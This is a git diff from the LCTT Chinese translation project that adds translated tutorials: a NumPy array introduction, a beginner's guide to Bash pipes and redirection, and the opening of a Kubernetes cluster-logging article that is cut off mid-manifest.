https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/revolt-desktop-settings.png?resize=800%2C501&ssl=1 +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/revolt-screenshot1.png?resize=800%2C509&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/revolt-appearance-setting.png?resize=800%2C524&ssl=1 +[6]: https://github.com/orgs/revoltchat/projects/2 +[7]: https://github.com/revoltchat/desktop/releases/tag/v1.0.2 +[8]: https://itsfoss.com/use-appimage-linux/ +[9]: https://itsfoss.com/install-deb-files-ubuntu/ +[10]: https://app.revolt.chat/settings/feedback +[11]: https://github.com/revoltchat +[12]: https://revolt.chat diff --git a/published/202201/20210916 Crunch numbers in Python with NumPy.md b/published/202201/20210916 Crunch numbers in Python with NumPy.md new file mode 100644 index 0000000000..551d1acc72 --- /dev/null +++ b/published/202201/20210916 Crunch numbers in Python with NumPy.md @@ -0,0 +1,425 @@ +[#]: subject: "Crunch numbers in Python with NumPy" +[#]: via: "https://opensource.com/article/21/9/python-numpy" +[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14160-1.html" + +用 NumPy 在 Python 中处理数字 +====== + +> 这篇文章讨论了安装 NumPy,然后创建、读取和排序 NumPy 数组。 + +![](https://img.linux.net.cn/data/attachment/album/202201/08/174635srrhdhh8wq9fdkrh.jpg) + +NumPy(即 **Num**erical **Py**thon)是一个库,它使得在 Python 中对线性数列和矩阵进行统计和集合操作变得容易。[我在 Python 数据类型的笔记中介绍过][2],它比 Python 的列表快几个数量级。NumPy 在数据分析和科学计算中使用得相当频繁。 + +我将介绍安装 NumPy,然后创建、读取和排序 NumPy 数组。NumPy 数组也被称为 ndarray,即 N 维数组的缩写。 + +### 安装 NumPy + +使用 `pip` 安装 NumPy 包非常简单,可以像安装其他软件包一样进行安装: + +``` +pip install numpy +``` + +安装了 NumPy 包后,只需将其导入你的 Python 文件中: + +``` +import numpy as np +``` + +将 `numpy` 以 `np` 之名导入是一个标准的惯例,但你可以不使用 `np`,而是使用你想要的任何其他别名。 + +### 为什么使用 NumPy? 因为它比 Python 列表要快好几个数量级 + +当涉及到处理大量的数值时,NumPy 比普通的 Python 列表快几个数量级。为了看看它到底有多快,我首先测量在普通 Python 列表上进行 `min()` 和 `max()` 操作的时间。 + +我将首先创建一个具有 999,999,999 项的 Python 列表: + +``` +>>> my_list = range(1, 1000000000) +>>> len(my_list) +999999999 +``` + +现在我将测量在这个列表中找到最小值的时间: + +``` +>>> start = time.time() +>>> min(my_list) +1 +>>> print('Time elapsed in milliseconds: ' + str((time.time() - start) * 1000)) +Time elapsed in milliseconds: 27007.00879096985 +``` + +这花了大约 27,007 毫秒,也就是大约 **27 秒**。这是个很长的时间。现在我试着找出寻找最大值的时间: + +``` +>>> start = time.time() +>>> max(my_list) +999999999 +>>> print('Time elapsed in milliseconds: ' + str((time.time() - start) * 1000)) +Time elapsed in milliseconds: 28111.071348190308 +``` + +这花了大约 28,111 毫秒,也就是大约 **28 秒**。 + +现在我试试用 NumPy 找到最小值和最大值的时间: + +``` +>>> my_list = np.arange(1, 1000000000) +>>> len(my_list) +999999999 +>>> start = time.time() +>>> my_list.min() +1 +>>> print('Time elapsed in milliseconds: ' + str((time.time() - start) * 1000)) +Time elapsed in milliseconds: 1151.1778831481934 +>>> +>>> start = time.time() +>>> my_list.max() +999999999 +>>> print('Time elapsed in milliseconds: ' + str((time.time() - start) * 1000)) +Time elapsed in milliseconds: 1114.8970127105713 +``` + +找到最小值花了大约 1151 毫秒,找到最大值 1114 毫秒。这大约是 **1 秒**。 + +正如你所看到的,使用 NumPy 可以将寻找一个大约有 10 亿个值的列表的最小值和最大值的时间 **从大约 28 秒减少到 1 秒**。这就是 NumPy 的强大之处。 + +### 使用 Python 列表创建 ndarray + +有几种方法可以在 NumPy 中创建 ndarray。 + +你可以通过使用元素列表来创建一个 ndarray: + +``` +>>> my_ndarray = np.array([1, 2, 3, 4, 5]) +>>> print(my_ndarray) +[1 2 3 4 5] +``` + +有了上面的 ndarray 定义,我将检查几件事。首先,上面定义的变量的类型是 `numpy.ndarray`。这是所有 NumPy ndarray 的类型: + +``` +>>> type(my_ndarray) + +``` + +这里要注意的另一件事是 “形状shape”。ndarray 的形状是 ndarray 的每个维度的长度。你可以看到,`my_ndarray` 的形状是 `(5,)`。这意味着 `my_ndarray` 包含一个有 5 个元素的维度(轴)。 + +``` +>>> np.shape(my_ndarray) +(5,) +``` + +数组中的维数被称为它的 “rank”。所以上面的 ndarray 的秩是 1。 + +我将定义另一个 ndarray `my_ndarray2` 作为一个多维 ndarray。那么它的形状会是什么呢?请看下面: + +``` +>>> my_ndarray2 = np.array([(1, 2, 3), (4, 5, 6)]) +>>> np.shape(my_ndarray2) +(2, 3) +``` + +这是一个秩为 2 的 ndarray。另一个要检查的属性是 `dtype`,也就是数据类型。检查我们的 ndarray 的 `dtype` 可以得到以下结果: + +``` +>>> my_ndarray.dtype +dtype('int64') +``` + +`int64` 意味着我们的 ndarray 是由 64 位整数组成的。NumPy 不能创建混合类型的 ndarray,必须只包含一种类型的元素。如果你定义了一个包含混合元素类型的 ndarray,NumPy 会自动将所有的元素类型转换为可以包含所有元素的最高元素类型。 + +例如,创建一个 `int` 和 `float` 的混合序列将创建一个 `float64` 的 ndarray: + +``` +>>> my_ndarray2 = np.array([1, 2.0, 3]) +>>> print(my_ndarray2) +[1. 2. 3.] +>>> my_ndarray2.dtype +dtype('float64') +``` + +另外,将其中一个元素设置为 `string` 将创建 `dtype` 等于 `>> my_ndarray2 = np.array([1, '2', 3]) +>>> print(my_ndarray2) +['1' '2' '3'] +>>> my_ndarray2.dtype +dtype('>> my_ndarray = np.array([1, 2, 3, 4, 5]) +>>> my_ndarray.size +5 +``` + +### 使用 NumPy 方法创建 ndarray + +如果你不想直接使用列表来创建 ndarray,还有几种可以用来创建它的 NumPy 方法。 + +你可以使用 `np.zeros()` 来创建一个填满 0 的 ndarray。它需要一个“形状”作为参数,这是一个包含行数和列数的列表。它还可以接受一个可选的 `dtype` 参数,这是 ndarray 的数据类型: + +``` +>>> my_ndarray = np.zeros([2,3], dtype=int) +>>> print(my_ndarray) +[[0 0 0] + [0 0 0]] +``` + +你可以使用 `np. ones()` 来创建一个填满 `1` 的 ndarray: + +``` +>>> my_ndarray = np.ones([2,3], dtype=int) +>>> print(my_ndarray) +[[1 1 1] + [1 1 1]] +``` + +你可以使用 `np.full()` 来给 ndarray 填充一个特定的值: + +``` +>>> my_ndarray = np.full([2,3], 10, dtype=int) +>>> print(my_ndarray) +[[10 10 10] + [10 10 10]] +``` + +你可以使用 `np.eye()` 来创建一个单位矩阵 / ndarray,这是一个沿主对角线都是 `1` 的正方形矩阵。正方形矩阵是一个行数和列数相同的矩阵: + +``` +>>> my_ndarray = np.eye(3, dtype=int) +>>> print(my_ndarray) +[[1 0 0] + [0 1 0] + [0 0 1]] +``` + +你可以使用 `np.diag()` 来创建一个沿对角线有指定数值的矩阵,而在矩阵的其他部分为 `0`: + +``` +>>> my_ndarray = np.diag([10, 20, 30, 40, 50]) +>>> print(my_ndarray) +[[10 0 0 0 0] + [ 0 20 0 0 0] + [ 0 0 30 0 0] + [ 0 0 0 40 0] + [ 0 0 0 0 50]] +``` + +你可以使用 `np.range()` 来创建一个具有特定数值范围的 ndarray。它是通过指定一个整数的开始和结束(不包括)范围以及一个步长来创建的: + +``` +>>> my_ndarray = np.arange(1, 20, 3) +>>> print(my_ndarray) +[ 1 4 7 10 13 16 19] +``` + +### 读取 ndarray + +ndarray 的值可以使用索引、分片或布尔索引来读取。 + +#### 使用索引读取 ndarray 的值 + +在索引中,你可以使用 ndarray 的元素的整数索引来读取数值,就像你读取 Python 列表一样。就像 Python 列表一样,索引从 `0` 开始。 + +例如,在定义如下的 ndarray 中: + +``` +>>> my_ndarray = np.arange(1, 20, 3) +``` + +第四个值将是 `my_ndarray[3]`,即 `10`。最后一个值是 `my_ndarray[-1]`,即 `19`: + +``` +>>> my_ndarray = np.arange(1, 20, 3) +>>> print(my_ndarray[0]) +1 +>>> print(my_ndarray[3]) +10 +>>> print(my_ndarray[-1]) +19 +>>> print(my_ndarray[5]) +16 +>>> print(my_ndarray[6]) +19 +``` + +#### 使用分片读取 ndarray + +你也可以使用分片来读取 ndarray 的块。分片的工作方式是用冒号(`:`)操作符指定一个开始索引和一个结束索引。然后,Python 将获取该开始和结束索引之间的 ndarray 片断: + +``` +>>> print(my_ndarray[:]) +[ 1 4 7 10 13 16 19] +>>> print(my_ndarray[2:4]) +[ 7 10] +>>> print(my_ndarray[5:6]) +[16] +>>> print(my_ndarray[6:7]) +[19] +>>> print(my_ndarray[:-1]) +[ 1 4 7 10 13 16] +>>> print(my_ndarray[-1:]) +[19] +``` + +分片创建了一个 ndarray 的引用(或视图)。这意味着,修改分片中的值也会改变原始 ndarray 的值。 + +比如说: + +``` +>>> my_ndarray[-1:] = 100 +>>> print(my_ndarray) +[ 1 4 7 10 13 16 100] +``` + +对于秩超过 1 的 ndarray 的分片,可以使用 `[行开始索引:行结束索引, 列开始索引:列结束索引]` 语法: + +``` +>>> my_ndarray2 = np.array([(1, 2, 3), (4, 5, 6)]) +>>> print(my_ndarray2) +[[1 2 3] + [4 5 6]] +>>> print(my_ndarray2[0:2,1:3]) +[[2 3] + [5 6]] +``` + +#### 使用布尔索引读取 ndarray 的方法 + +读取 ndarray 的另一种方法是使用布尔索引。在这种方法中,你在方括号内指定一个过滤条件,然后返回符合该条件的 ndarray 的一个部分。 + +例如,为了获得一个 ndarray 中所有大于 5 的值,你可以指定布尔索引操作 `my_ndarray[my_ndarray > 5]`。这个操作将返回一个包含所有大于 5 的值的 ndarray: + +``` +>>> my_ndarray = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) +>>> my_ndarray2 = my_ndarray[my_ndarray > 5] +>>> print(my_ndarray2) +[ 6 7 8 9 10] +``` + +例如,为了获得一个 ndarray 中的所有偶数值,你可以使用如下的布尔索引操作: + +``` +>>> my_ndarray2 = my_ndarray[my_ndarray % 2 == 0] +>>> print(my_ndarray2) +[ 2 4 6 8 10] +``` + +而要得到所有的奇数值,你可以用这个方法: + +``` +>>> my_ndarray2 = my_ndarray[my_ndarray % 2 == 1] +>>> print(my_ndarray2) +[1 3 5 7 9] +``` + +### ndarray 的矢量和标量算术 + +NumPy 的 ndarray 允许进行矢量和标量算术操作。在矢量算术中,在两个 ndarray 之间进行一个元素的算术操作。在标量算术中,算术运算是在一个 ndarray 和一个常数标量值之间进行的。 + +如下的两个 ndarray: + +``` +>>> my_ndarray = np.array([1, 2, 3, 4, 5]) +>>> my_ndarray2 = np.array([6, 7, 8, 9, 10]) +``` + +如果你将上述两个 ndarray 相加,就会产生一个两个 ndarray 的元素相加的新的 ndarray。例如,产生的 ndarray 的第一个元素将是原始 ndarray 的第一个元素相加的结果,以此类推: + +``` +>>> print(my_ndarray2 + my_ndarray) +[ 7 9 11 13 15] +``` + +这里,`7` 是 `1` 和 `6` 的和,这是我相加的 ndarray 中的前两个元素。同样,`15` 是 `5` 和`10` 之和,是最后一个元素。 + +请看以下算术运算: + +``` +>>> print(my_ndarray2 - my_ndarray) +[5 5 5 5 5] +>>> +>>> print(my_ndarray2 * my_ndarray) +[ 6 14 24 36 50] +>>> +>>> print(my_ndarray2 / my_ndarray) +[6. 3.5 2.66666667 2.25 2. ] +``` + +在 ndarray 中加一个标量值也有类似的效果,标量值被添加到 ndarray 的所有元素中。这被称为“广播broadcasting”: + +``` +>>> print(my_ndarray + 10) +[11 12 13 14 15] +>>> +>>> print(my_ndarray - 10) +[-9 -8 -7 -6 -5] +>>> +>>> print(my_ndarray * 10) +[10 20 30 40 50] +>>> +>>> print(my_ndarray / 10) +[0.1 0.2 0.3 0.4 0.5] +``` + +### ndarray 的排序 + +有两种方法可以对 ndarray 进行原地或非原地排序。原地排序会对原始 ndarray 进行排序和修改,而非原地排序会返回排序后的 ndarray,但不会修改原始 ndarray。我将尝试这两个例子: + +``` +>>> my_ndarray = np.array([3, 1, 2, 5, 4]) +>>> my_ndarray.sort() +>>> print(my_ndarray) +[1 2 3 4 5] +``` + +正如你所看到的,`sort()` 方法对 ndarray 进行原地排序,并修改了原数组。 + +还有一个方法叫 `np.sort()`,它对数组进行非原地排序: + +``` +>>> my_ndarray = np.array([3, 1, 2, 5, 4]) +>>> print(np.sort(my_ndarray)) +[1 2 3 4 5] +>>> print(my_ndarray) +[3 1 2 5 4] +``` + +正如你所看到的,`np.sort()` 方法返回一个已排序的 ndarray,但没有修改它。 + +### 总结 + +我已经介绍了很多关于 NumPy 和 ndarray 的内容。我谈到了创建 ndarray,读取它们的不同方法,基本的向量和标量算术,以及排序。NumPy 还有很多东西可以探索,包括像 `union()` 和 `intersection()`这样的集合操作,像 `min()` 和 `max()` 这样的统计操作,等等。 + +我希望我上面演示的例子是有用的。祝你在探索 NumPy 时愉快。 + +本文最初发表于 [作者的个人博客][3],经授权后改编。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/python-numpy + +作者:[Ayush Sharma][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ayushsharma +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/math_money_financial_calculator_colors.jpg?itok=_yEVTST1 (old school calculator) +[2]: https://notes.ayushsharma.in/2018/09/data-types-in-python +[3]: https://notes.ayushsharma.in/2018/10/working-with-numpy-in-python diff --git a/published/202201/20211027 Bash Shell Scripting for beginners (Part 2).md b/published/202201/20211027 Bash Shell Scripting for beginners (Part 2).md new file mode 100644 index 0000000000..a0bd7f98b8 --- /dev/null +++ b/published/202201/20211027 Bash Shell Scripting for beginners (Part 2).md @@ -0,0 +1,245 @@ +[#]: subject: "Bash Shell Scripting for beginners (Part 2)" +[#]: via: "https://fedoramagazine.org/bash-shell-scripting-for-beginners-part-2/" +[#]: author: "Matthew Darnell https://fedoramagazine.org/author/zexcon/" +[#]: collector: "lujun9972" +[#]: translator: "unigeorge" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14198-1.html" + +Bash Shell 脚本新手指南(二) +====== + +![][1] + +欢迎来到面向初学者的 Bash Shell 脚本知识第二部分。本篇将就 Bash 脚本一些更独特的方面进行深入探讨。我们会用到一些 [上篇][5] 中已经熟悉的命令(如果遇到新命令,会给出讲解),进而涵盖一些标准输出、标准输入、标准错误、“管道”和数据重定向的相关知识。 + +### 使用 # 添加注释 + +随着脚本变得愈加复杂和实用,我们需要添加注释,以便记住程序在做什么。如果与其他人分享你的脚本,注释也将帮助他们理解思考过程,以及更好理解你的脚本实现的功能。想一想上篇文章中的数学方程,我们在新版脚本中添加了一些注释。注意,在 `learnToScript.sh` 文件(如下所示)中,注释是前面带有 `#` 号的行。当脚本运行时,这些注释行并不会出现。 + +``` +#!/bin/bash + +#Let's pick up from our last article. We +#learned how to use mathematical equations +#in bash scripting. + +echo $((5+3)) +echo $((5-3)) +echo $((5*3)) +echo $((5/3)) +``` + +``` +[zexcon ~]$ ./learnToScript.sh +8 +2 +15 +1 +``` + +### 管道符 | + +我们将使用另一个名为 `grep` 的工具来介绍管道运算符。 + +> `grep` 可以在输入文件中搜索可以匹配指定模式的行。默认情况下,`grep` 会输出相应的匹配行。 +> +> + +Paul W. Frields 在 《Fedora 杂志》上的文章很好地介绍了关于 _grep_ 的知识。 + +> [命令行快速小技巧:使用 grep 进行搜索][4] + +管道键在键盘上位于回车键上方,可以在英文状态下按 `Shift + \` 输入。 + +现在你已经略微熟悉了 `grep`,接下来看一个使用管道命令的示例。在命令行输入 `ls -l | grep learn`。 + +``` +[zexcon ~]$ ls -l | grep learn +-rwxrw-rw-. 1 zexcon zexcon 70 Sep 17 10:10 learnToScript.sh +``` + +通常 `ls -l` 命令会在屏幕上显示文件列表。这里 `ls -l` 命令的完整结果通过管道传送到搜索字符串 `learn` 的 `grep` 命令中。你可以将管道命令想象成一个过滤器。先运行一个命令(本例中为 `ls -l`,结果会给出目录中的文件),这些结果通过管道命令给到 `grep`,后者会在其中搜索 `learn`,并且只显示符合条件的目标行。 + +下面再看一个例子以巩固相关知识。`less` 命令可以让用户查看超出一个屏幕尺寸的命令结果。以下是命令手册页中关于 `less` 的简要说明。 + +> `less` 是一个类似于 `more` 的程序,但它允许在文件中向后或向前进行翻页移动。此外,`less` 不必在开始之前读取整个输入文件,因此对于大型输入文件而言,它比 `vi` 等文本编辑器启动更快。该命令较少使用 termcap(或某些系统上的 terminfo),因此可以在各种终端上运行。甚至还在一定程度上支持用于硬拷贝终端的端口。(在硬拷贝终端上,显示在屏幕顶部的行会以插入符号为前缀。) +> +> Fedora 34 手册页 + +下面让我们看看管道命令和 `less` 命令结合使用会是什么样子。 + +``` +[zexcon ~]$ ls -l /etc | less +``` + +``` +total 1504 +drwxr-xr-x. 1 root root 126 Jul 7 17:46 abrt +-rw-r--r--. 1 root root 18 Jul 7 16:04 adjtime +-rw-r--r--. 1 root root 1529 Jun 23 2020 aliases +drwxr-xr-x. 1 root root 70 Jul 7 17:47 alsa +drwxr-xr-x. 1 root root 14 Apr 23 05:58 cron.d +drwxr-xr-x. 1 root root 0 Jan 25 2021 cron.daily +: +: +``` + +为便于阅读,此处对结果进行了修剪。用户可以使用键盘上的箭头键向上或向下滚动,进而控制显示。如果使用命令行,结果超出屏幕的话,用户可能会看不到结果的开头行。要退出 `less` 屏幕,只需点击 `q` 键。 + +### 标准输出(stdout)重定向 >、>>、1>、1>> + +`>` 或 `>>` 符号之前的命令输出结果,会被写入到紧跟的文件名对应的文件中。`>` 和 `1>` 具有相同的效果,因为 `1` 就代表着标准输出。如果不显式指定 `1`,则默认为标准输出。`>>` 和 `1>>` 将数据附加到文件的末尾。使用 `>` 或 `>>` 时,如果文件不存在,则会创建对应文件。 + +例如,如果你想查看 `ping` 命令的输出,以查看它是否丢弃了数据包。与其关注控制台,不如将输出结果重定向到文件中,这样你就可以稍后再回来查看数据包是否被丢弃。下面是使用 `>` 的重定向测试。 + +``` +[zexcon ~]$ ls -l ~ > learnToScriptOutput +``` + +该命令会获取本应输出到终端的结果(`~` 代表家目录),并将其重定向到 `learnToScriptOutput` 文件。注意,我们并未手动创建 `learnToScriptOutput`,系统会自动创建该文件。 + +``` +total 128 +drwxr-xr-x. 1 zexcon zexcon 268 Oct 1 16:02 Desktop +drwxr-xr-x. 1 zexcon zexcon 80 Sep 16 08:53 Documents +drwxr-xr-x. 1 zexcon zexcon 0 Oct 1 15:59 Downloads +-rw-rw-r--. 1 zexcon zexcon 685 Oct 4 16:00 learnToScriptAllOutput +-rw-rw-r--. 1 zexcon zexcon 23 Oct 4 12:42 learnToScriptInput +-rw-rw-r--. 1 zexcon zexcon 0 Oct 4 16:42 learnToScriptOutput +-rw-rw-r--. 1 zexcon zexcon 52 Oct 4 16:07 learnToScriptOutputError +-rwxrw-rw-. 1 zexcon zexcon 477 Oct 4 15:01 learnToScript.sh +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Videos +``` + +### 标准错误(stderr)重定向 `2>`、`2>>` + +`>` 或 `>>` 符号之前命令的错误信息输出,会被写入到紧跟的文件名对应的文件中。`2>` 和 `2>>` 具有相同的效果,但 `2>>` 是将数据追加到文件末尾。你可能会想,这有什么用?不妨假象一下用户只想捕获错误信息的场景,然后你就会意识到 `2>` 或 `2>>` 的作用。数字 `2` 表示本应输出到终端的标准错误信息输出。现在我们试着追踪一个不存在的文件,以试试这个知识点。 + +``` +[zexcon ~]$ ls -l /etc/invalidTest 2> learnToScriptOutputError +``` + +这会生成错误信息,并将错误信息重定向输入到 `learnToScriptOutputError` 文件中。 + +``` +ls: cannot access '/etc/invalidTest': No such file or directory +``` + +### 所有输出重定向 &>、&>>、|& + +如果你不想将标准输出(`stdout`)和标准错误信息(`stderr`)写入不同的文件,那么在 Bash 5 中,你可以使用 `&>` 将标准输出和标准错误重定向到同一个文件,或者使用 `&>>` 追加到文件末尾。 + +``` +[zexcon ~]$ ls -l ~ &>> learnToScriptAllOutput +[zexcon ~]$ ls -l /etc/invalidTest &>> learnToScriptAllOutput +``` + +运行这些命令后,两者的输出都会进入同一个文件中,而不会区分是错误信息还是标准输出。 + +``` +total 128 +drwxr-xr-x. 1 zexcon zexcon 268 Oct 1 16:02 Desktop +drwxr-xr-x. 1 zexcon zexcon 80 Sep 16 08:53 Documents +drwxr-xr-x. 1 zexcon zexcon 0 Oct 1 15:59 Downloads +-rw-rw-r--. 1 zexcon zexcon 685 Oct 4 16:00 learnToScriptAllOutput +-rw-rw-r--. 1 zexcon zexcon 23 Oct 4 12:42 learnToScriptInput +-rw-rw-r--. 1 zexcon zexcon 0 Oct 4 16:42 learnToScriptOutput +-rw-rw-r--. 1 zexcon zexcon 52 Oct 4 16:07 learnToScriptOutputError +-rwxrw-rw-. 1 zexcon zexcon 477 Oct 4 15:01 learnToScript.sh +drwxr-xr-x. 1 zexcon zexcon 0 Jul 7 16:04 Videos +ls: cannot access '/etc/invalidTest': No such file or directory +``` + +如果你直接使用命令行操作,并希望将所有结果通过管道传输到另一个命令,可以选择使用 `|&` 实现。 + +``` +[zexcon ~]$ ls -l |& grep learn +-rw-rw-r--. 1 zexcon zexcon 1197 Oct 18 09:46 learnToScriptAllOutput +-rw-rw-r--. 1 zexcon zexcon 343 Oct 14 10:47 learnToScriptError +-rw-rw-r--. 1 zexcon zexcon 0 Oct 14 11:11 learnToScriptOut +-rw-rw-r--. 1 zexcon zexcon 348 Oct 14 10:27 learnToScriptOutError +-rwxr-x---. 1 zexcon zexcon 328 Oct 18 09:46 learnToScript.sh +[zexcon ~]$ +``` + +### 标准输入(stdin) + +在本篇和上篇文章中,我们已经多次使用过标准输入(stdin),因为在每次使用键盘输入时,我们都在使用标准输入。为了区别通常意义上的“键盘即标准输入”,这次我们尝试在脚本中使用 `read` 命令。下面的脚本中就使用了 `read` 命令,字面上就像“读取标准输入”。 + +``` +#!/bin/bash + +#Here we are asking a question to prompt the user for standard input. i.e.keyboard +echo 'Please enter your name.' + +#Here we are reading the standard input and assigning it to the variable name with the read command. +read name + +#We are now going back to standard output, by using echo and printing your name to the command line. +echo "With standard input you have told me your name is: $name" +``` + +这个示例通过标准输出给出提示,提醒用户输入信息,然后从标准输入(键盘)获取信息,使用 `read` 将其存储在 `name` 变量中,并通过标准输出显示出 `name` 中的值。 + +``` +[zexcon@fedora ~]$ ./learnToScript.sh +Please enter your name. +zexcon +With standard input you have told me your name is: zexcon +[zexcon@fedora ~]$ +``` + +### 在脚本中使用 + +现在我们把学到的东西放入脚本中,学习一下如何实际应用。下面是增加了几行后的新版本 `learnToScript.sh` 文件。它用追加的方式将标准输出、标准错误信息,以及两者混合后的信息,分别写入到三个不同文件。它将标准输出写入 `learnToScriptStandardOutput`,标准错误信息写入 `learnToScriptStandardError`,二者共同都写入 `learnToScriptAllOutput` 文件。 + +``` +#!/bin/bash + +#As we know this article is about scripting. So let's +#use what we learned in a script. + +#Let's get some information from the user and add it to our scripts with stanard input and read + +echo "What is your name? " +read name + + +#Here standard output directed to append a file to learnToScirptStandardOutput +echo "$name, this will take standard output with append >> and redirect to learnToScriptStandardOutput." 1>> learnToScriptStandardOutput + + +#Here we are taking the standard error and appending it to learnToScriptStandardError but to see this we need to #create an error. +eco "Standard error with append >> redirect to learnToScriptStandardError." 2>> learnToScriptStandardError + +#Here we are going to create an error and a standard output and see they go to the same place. +echo "Standard output with append >> redirect to learnToScriptAllOutput." &>> learnToScriptAllOutput +eco "Standard error with append >> redirect to learnToScriptAllOutput." &>> learnToScriptAllOutput +``` + +脚本在同一目录中创建了三个文件。命令 `echo` 故意输入错误(LCTT 译注:缺少了字母 h)以产生错误信息。如果查看三个文件,你会在 `learnToScriptStandardOutput` 中看到一条信息,在 `learnToScriptStandardError` 中看到一条信息,在 `learnToScriptAllOutput` 中看到两条信息。另外,该脚本还会再次提示输入的 `name` 值,再将其写入 `learnToScriptStandardOutput` 中。 + +### 结语 + +至此你应该能够明确,可以在命令行中执行的操作,都可以在脚本中执行。在编写可能供他人使用的脚本时,文档非常重要。如果继续深入研究脚本,标准输出会显得更有意义,因为你将会控制它们的生成。在脚本中,你可以与命令行中操作时应用相同的内容。下一篇文章我们会讨论函数、循环,以及在此基础上进一步构建的结构。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/bash-shell-scripting-for-beginners-part-2/ + +作者:[Matthew Darnell][a] +选题:[lujun9972][b] +译者:[unigeorge](https://github.com/unigeorge) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/zexcon/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/10/bash_shell_scripting_pt2-816x345.jpg +[2]: https://unsplash.com/@nbandana?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/shell-scripting?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://fedoramagazine.org/command-line-quick-tips-searching-with-grep/ +[5]: https://linux.cn/article-14131-1.html \ No newline at end of file diff --git a/published/202201/20211112 What you need to know about cluster logging in Kubernetes.md b/published/202201/20211112 What you need to know about cluster logging in Kubernetes.md new file mode 100644 index 0000000000..c226c34040 --- /dev/null +++ b/published/202201/20211112 What you need to know about cluster logging in Kubernetes.md @@ -0,0 +1,337 @@ +[#]: subject: "What you need to know about cluster logging in Kubernetes" +[#]: via: "https://opensource.com/article/21/11/cluster-logging-kubernetes" +[#]: author: "Mike Calizo https://opensource.com/users/mcalizo" +[#]: collector: "lujun9972" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14139-1.html" + +Kubernetes 集群日志基础 +====== + +> 探索 Kubernetes 中不同容器日志记录模式的工作原理。 + +![](https://img.linux.net.cn/data/attachment/album/202201/02/105801igujabattghwzkjw.jpg) + +服务器和应用程序日志记录是开发人员、运维人员和安全团队了解应用程序在其生产环境中运行状态的重要工具。 + +日志记录使运维人员能够确定应用程序和所需组件是否运行平稳,并检测是否发生了异常情况,以便他们能够对这种情况做出反应。 + +对于开发人员,日志记录提供了在开发期间和之后对代码进行故障排除的可见性。在生产环境中,开发人员通常依赖于没有调试工具的日志记录工具。在加上系统的日志记录,开发人员可以与运维人员携手合作,有效地解决问题。 + +日志记录工具最重要的受益者是安全团队,尤其是在云原生的环境中。能够从应用程序和系统日志中收集信息使得安全团队能够分析来自身份验证、应用程序访问恶意软件活动的数据,并在需要时进行响应。 + +Kubernetes 是领先的容器平台,越来越多的应用程序通过 Kubernetes 部署到生产环境。我相信了解 Kubernetes 的日志架构是一项非常重要的工作,每个开发、运维和安全团队都需要认真对待。 + +在本文中,我将讨论 Kubernetes 中不同容器日志记录模式的工作原理。 + +### 系统日志记录和应用日志记录 + +在深入研究 Kubernetes 日志记录架构之前,我想探索不同的日志记录方法以及这两种功能如何成为 Kubernetes 日志记录的关键特性。 + +有两种类型的系统组件:在容器中运行的组件和不在容器中运行的组件。例如: + + * Kubernetes 调度者和 `kube-proxy` 运行在容器中。 + * `kubelet` 和容器运行时不在容器中运行。 + +与容器日志类似,系统容器日志存储在 `/var/log` 目录中,你应该定期轮换它们。 + +在这里,我研究的是容器日志记录。首先,我看一下集群级别的日志记录以及为什么它对集群运维人员很重要。集群日志提供有关集群如何执行的信息。诸如为什么 吊舱Pod 被下线或节点死亡之类的信息。集群日志记录还可以捕获诸如集群和应用程序访问以及应用程序如何利用计算资源等信息。总体而言,集群日志记录工具为集群运维人员提供操作集群和安全有用的信息。 + +捕获容器日志的另一种方法是通过应用程序的本机日志记录工具。现代应用程序设计很可能具有日志记录机制,可帮助开发人员通过标准输出 (`stdout`) 和错误流 (`stderr`) 解决应用程序性能问题。 + +为了拥有有效的日志记录工具,Kubernetes 实现需要应用程序和系统日志记录组件。 + +### Kubernetes 容器日志的 3 种类型 + +如今,在大多数的 Kubernetes 实现中,你可以看到三种主要的集群级日志记录方法。 + + 1. 节点级日志代理 + 2. 用于日志记录的挎斗Sidecar容器应用程序 + 3. 将应用程序日志直接暴露给日志后端 + +#### 节点级日志代理 + +我想考虑节点级日志代理。你通常使用 DaemonSet 作为部署策略来实现这些,以便在所有 Kubernetes 节点中部署一个吊舱(充当日志代理)。然后,该日志代理被配置为从所有 Kubernetes 节点读取日志。你通常将代理配置为读取节点 `/var/logs` 目录捕获 `stdout`/`stderr` 流并将其发送到日志记录后端存储。 + +下图显示了在所有节点中作为代理运行的节点级日志记录。 + +![Node-level logging agent][2] + +以使用 `fluentd` 方法为例设置节点级日志记录,你需要执行以下操作: + +1、首先,你需要创建一个名为 fluentdd 的服务账户。Fluentd 吊舱使用此服务账户来访问 Kubernetes API,你需要在日志命名空间中使用标签 `app: fluentd` 创建它们: + +``` +#fluentd-SA.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: fluentd + namespace: logging + labels: + app: fluentd +``` + +你可以在此 [仓库][4] 中查看完整示例。 + +2、接着,你需要创建一个名称为 `fluentd-configmap` 的 ConfigMap。这为 `fluentd daemonset` 提供了一个配置文件,其中包含所有必需的属性。 + +``` +#fluentd-daemonset.yaml +apiVersion: 